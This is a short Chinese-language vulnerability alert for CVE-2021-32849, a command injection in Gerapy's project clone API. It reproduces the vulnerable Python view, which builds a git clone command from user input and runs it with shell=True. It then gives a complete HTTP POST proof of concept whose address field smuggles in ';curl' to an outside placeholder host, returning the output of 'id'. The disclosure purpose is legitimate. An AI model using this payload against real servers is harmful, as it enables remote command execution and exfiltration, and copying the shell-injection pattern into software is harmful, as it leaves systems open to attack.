漏洞预警：Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

@api_view(['POST'])@permission_classes([IsAuthenticated])def project_clone(request):    """    clone project from github    :param request: request object    :return: json    """    if request.method == 'POST':        data = json.loads(request.body)        address = data.get('address')        if not address.startswith('http'):            return JsonResponse({'status': False})        address = address + '.git' if not address.endswith('.git') else address        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))        logger.debug('clone cmd %s', mcd)        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())        logger.debug('clone run result %s', stdout)        if stderr: logger.error(stderr)        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})

POST /api/project/clone HTTP/1.1Host: Content-Length: 61Accept: application/json, text/plain, */*Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close
{"address":"http://127.0.0.1;curl xxx.xxx.xxx.xxx:9999?`id`"}